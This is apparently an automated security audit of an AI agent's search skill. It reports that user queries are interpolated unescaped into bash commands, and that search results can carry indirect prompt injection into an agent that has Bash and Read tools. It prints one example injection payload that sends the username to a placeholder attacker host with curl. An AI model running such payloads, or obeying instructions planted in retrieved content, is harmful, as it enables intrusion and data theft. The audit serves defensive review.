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Fail

Audited by Gen Agent Trust Hub on Mar 1, 2026

Risk Level: HIGHCOMMAND_EXECUTIONPROMPT_INJECTION
Full Analysis
  • [COMMAND_EXECUTION]: The skill is highly vulnerable to command injection. It constructs shell commands by interpolating the user-provided <query> argument directly into a bash string, specifically qmd search "<query>", qmd vsearch "<query>", and qmd query "<query>". An attacker or a malicious document could provide a query containing shell metacharacters (e.g., "; curl http://attacker.com/$(whoami) ; ") to execute arbitrary commands on the system.
  • [PROMPT_INJECTION]: The skill has a significant surface for indirect prompt injection by ingesting untrusted data from external documentation and configuration files.
  • Ingestion points: Untrusted data enters the agent context through the output of the qmd search tool (snippets and titles) and the .claude/qmd.json configuration file.
  • Boundary markers: There are no boundary markers or instructions to treat the search results as untrusted content, increasing the risk that the agent will follow instructions embedded within the indexed documents.
  • Capability inventory: The agent has access to powerful tools including Bash (for command execution) and Read (for filesystem access), which can be abused if a prompt injection is successful.
  • Sanitization: No sanitization, escaping, or validation is performed on the data retrieved from search results before it is presented to the agent.
Recommendations
  • AI detected serious security threats
Audit Metadata
Risk Level
HIGH
Analyzed
Mar 1, 2026, 07:46 PM